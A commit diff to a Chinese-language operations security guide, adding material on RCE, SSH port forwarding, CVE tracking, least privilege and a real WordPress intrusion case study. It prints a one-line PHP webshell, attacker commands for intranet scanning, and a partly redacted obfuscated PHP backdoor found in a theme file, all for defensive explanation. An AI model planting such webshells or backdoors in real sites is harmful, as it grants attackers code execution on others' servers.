Skip to content

Commit ea9a867

Browse files
committed
ops/security: First draft version fin
1 parent 1bad49a commit ea9a867

1 file changed

Lines changed: 73 additions & 3 deletions

File tree

docs/ops/security.md

Lines changed: 73 additions & 3 deletions
Original file line numberDiff line numberDiff line change
@@ -4,7 +4,7 @@ icon: material/security
44

55
# 安全
66

7-
!!! warning "本文初稿编写中"
7+
!!! warning "本文初稿已完成,但可能仍需大幅度修改"
88

99
!!! note "阅读注意事项"
1010

@@ -226,7 +226,9 @@ int main() {
226226
<?php eval($_POST['cmd']); ?>
227227
```
228228

229-
如果上传文件的目标目录没有限制,Web 服务器就可能将攻击者上传的文件当作 PHP 脚本执行,攻击者就可以通过 POST 请求执行任意代码。在成功上传之后,攻击者可以使用相当成熟的图形界面工具「登录」Webshell,就像用 VS Code Remote SSH 连接服务器一样顺畅地执行命令、上传下载文件等。此时攻击者就有了和 Web 服务器进程对应用户相同的权限,之后可以利用同样成熟的工具(例如 Metasploit)进一步提权、扫描内网、横向移动。此时这台机器就沦陷了,并且同一内网中的其他机器也面临着同样的风险。
229+
如果上传文件的目标目录没有限制,Web 服务器就可能将攻击者上传的文件当作 PHP 脚本执行,攻击者就可以通过 POST 请求执行任意代码。这一类可以让攻击者在远程服务器上执行任意代码的漏洞,也被称为 RCE(Remote Code Execution,远程代码执行)。
230+
231+
在成功上传之后,攻击者可以使用相当成熟的图形界面工具「登录」Webshell,就像用 VS Code Remote SSH 连接服务器一样顺畅地执行命令、上传下载文件等。此时攻击者就有了和 Web 服务器进程对应用户相同的权限,之后可以利用同样成熟的工具(例如 Metasploit)进一步提权、扫描内网、横向移动。此时这台机器就沦陷了,并且同一内网中的其他机器也面临着同样的风险。
230232

231233
## 事中:检测与响应 {#detection-response}
232234

@@ -609,6 +611,10 @@ Passkey(通行密钥)则是目前最新的「无密码登录」技术,在
609611

610612
对于图形登录方式,Windows 服务器常见的登录方式为 RDP,而 Linux 的 RDP 和 VNC 都是常见的登录方式。由于协议设计复杂性,不建议将 RDP 或 VNC 的端口直接暴露在公网(历史上 RDP 也暴露过大量的漏洞),并且需要确保连接被加密,以防止可能的中间人窃取密码。
611613

614+
!!! tip "使用 SSH 转发端口"
615+
616+
相比于 RDP 和 VNC,SSH 是一种相对安全的远程登录方式。可以参考 [SSH 使用技巧中端口转发部分](../dev/ssh.md#port-forwarding)的内容,实现通过 SSH 访问内网的 RDP/VNC 以及其他内部机器的 SSH 服务。
617+
612618
对于 SSH 登录,**强烈建议关闭密码认证**(即使系统设置了密码强度要求也是如此),使用密钥登录。有条件的情况下,可以额外设置使用 2FA 登录,或者配置 SSH 证书。
613619

614620
!!! warning "SSH 与中间人攻击"
@@ -657,6 +663,70 @@ Passkey(通行密钥)则是目前最新的「无密码登录」技术,在
657663
- GitLab: GitLab 会在 <https://about.gitlab.com/releases/categories/releases/> 公布每次版本更新的内容,其中安全相关的更新可以在[联系页面](https://about.gitlab.com/company/contact/)订阅邮件列表。其也同样提供 [RSS](https://about.gitlab.com/security-releases.xml)
658664
- Grafana: Grafana 会在自己的博客中发布安全更新,可以订阅 [security 分类的 RSS](https://grafana.com/tags/security/index.xml)
659665

666+
绝大多数时候,公布的漏洞都会有一个 **CVE 编号**与漏洞描述信息。可以根据描述信息判断漏洞的严重程度,进而安排合适的时间安装更新。
667+
668+
!!! note "有关「安全」的开闭源之争"
669+
670+
开源软件与闭源软件何者在安全性上更占优势?有关于此存在不同的观点。开源软件由于源代码是公开的,攻击者寻找漏洞、编写 PoC 等会比闭源软件容易,但是开源软件也因此代码更容易被审计,也就更容易让安全研究人员在漏洞在野利用之前就发现漏洞并且及时反馈。并且开源软件的开发者也更容易接纳来自外部的漏洞报告与修复补丁提交。知名度高且重视安全的闭源软件公司/项目也有不少,但是同样也存在研究人员提交漏洞之后相关方拒绝回应,以及漏洞没有及时公布并修复的情况,特别是用户量较小的、社区较小的闭源软件。
671+
672+
当然,前提永远是:运维需要承担这一方面的责任,并且保持相关的软件与系统是受到支持的、安全的版本。否则攻击者随便找到公开的针对老版本漏洞的工具就能够攻破这一条防线。
673+
660674
#### 最小权限原则 {#principle-of-least-privilege}
661675

662-
简单来讲,最小权限原则要求只给用户/程序必要的权限。
676+
简单来讲,最小权限原则要求只给用户/程序必要的权限。在实践上的一些具体的点有:
677+
678+
- root/sudo/IPMI 的权限不随意提供给运维无关人员。
679+
- 这也包括了诸如 `docker` 的情况。
680+
- 服务(包括容器在内)不随意暴露端口(特别是无限制 bind 到所有接口的情况),容器运行不随意提供 `--privileged`,运行的服务需要有自己的用户。
681+
- 对于 systemd 服务,考虑使用 systemd 提供的安全加固功能。
682+
<!-- TODO: 服务部分需要介绍 -->
683+
684+
### 安全事件处理示例 {#security-event-example}
685+
686+
以下,我们介绍一些真实的安全事件紧急处理的例子,部分细节做模糊化修改处理。
687+
688+
#### 从泄漏密码到 RCE {#password-leak-rce-example}
689+
690+
2023 年年底的某日,管理员 C 发现维护的 WordPress 网站无法打开,返回 502 错误。该 WordPress 网站运行在一个容器中。使用 `docker top` 检查发现容器里出现了奇怪的进程,如:
691+
692+
```console
693+
/bin/sh -c cd /tmp/f;./cc -c a.ini;echo 17fbf238b;pwd;echo 222d091e
694+
./out -a 192.168.0.0/24 -nobr -np -nopoc -o /tmp/oo.log
695+
```
696+
697+
检查容器文件系统,发现 `/tmp` 下面多了很多文件,一些 log 文件似乎是内网扫描器的输出。因此管理员 C 立刻关闭了容器,并且导出了容器文件系统以及数据库(在另一个容器中)以进一步检查。
698+
699+
由于配置问题,容器外的 Nginx 日志记录的 IP 均为 CDN 的 IP,没有记录到真实 IP 地址。不过,观察访问的 URL,发现存在可疑的访问主题编辑器的 `POST` 请求,根据相关的 User agent 记录,发现攻击者似乎在尝试登录网站后台。
700+
701+
检查 WordPress 本地文件的修改日期,发现某个主题文件的修改日期不正常,开头插入了以下的 PHP:
702+
703+
```php
704+
<?php
705+
$la="<redacted>";
706+
$lb="ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/";
707+
foreach($_POST as$k=>$v){$_POST[$k]=base64_decode(strtr($v,$la,$lb));}
708+
function downloadFile($url,$x){
709+
$ary=parse_url($url);
710+
$ext = explode('.',$file);
711+
$file1=substr($ext[0],3,1);
712+
$file2=substr($ext[0],5,1);
713+
$file3=substr($ext[0],5,1);
714+
return $ary;
715+
}
716+
```
717+
718+
可以推测,攻击者在修改了主题之后,就可以利用主题的 PHP 文件执行任意命令了。
719+
720+
管理员 C 之前配置了 WordPress 本体与插件的自动升级,因此大概率是某个管理员用户的密码泄漏导致的。由于该网站重要性不高,因此可以花一些时间仔细检查后再考虑重新上线。几日后,攻击者向另一名管理员发送邮件致歉,并且提供了入侵手段:从某个俄罗斯 botnet 中获取了泄漏的用户名与密码(攻击者认为是安装了有问题的破解程序导致的),之后登录入侵后尝试做了内网扫描,并且该密码同样也可以登录此人在该组织的 GitLab 账号。在第一时间封禁了该 GitLab 账号后,检查 Nginx 日志获取了所有攻击者访问的仓库,万幸的是,这些仓库中不包含敏感信息。
721+
722+
在检查确认其他机器不受影响后,应急处理部分告一段落。之后管理员 C 采取了以下的修复措施:
723+
724+
- 修复了部分情况下 Nginx 日志记录 IP 错误的问题。
725+
- 对确认密码泄漏的成员重置密码。
726+
- 强制要求组织 GitLab 内重要成员开启 2FA。
727+
- 检查 GitLab 内有权限访问重要仓库的成员列表,并且移除了一些不再参与事务的成员。
728+
- 花了一些时间从 WordPress 迁移至了静态的 Jekyll 方案,减小了对外暴露的攻击面。
729+
730+
!!! question "你的看法?"
731+
732+
受到时间、成本与技术的限制,以上的处理不是完美的。如果你是管理员 C,你会做什么?

0 commit comments

Comments
 (0)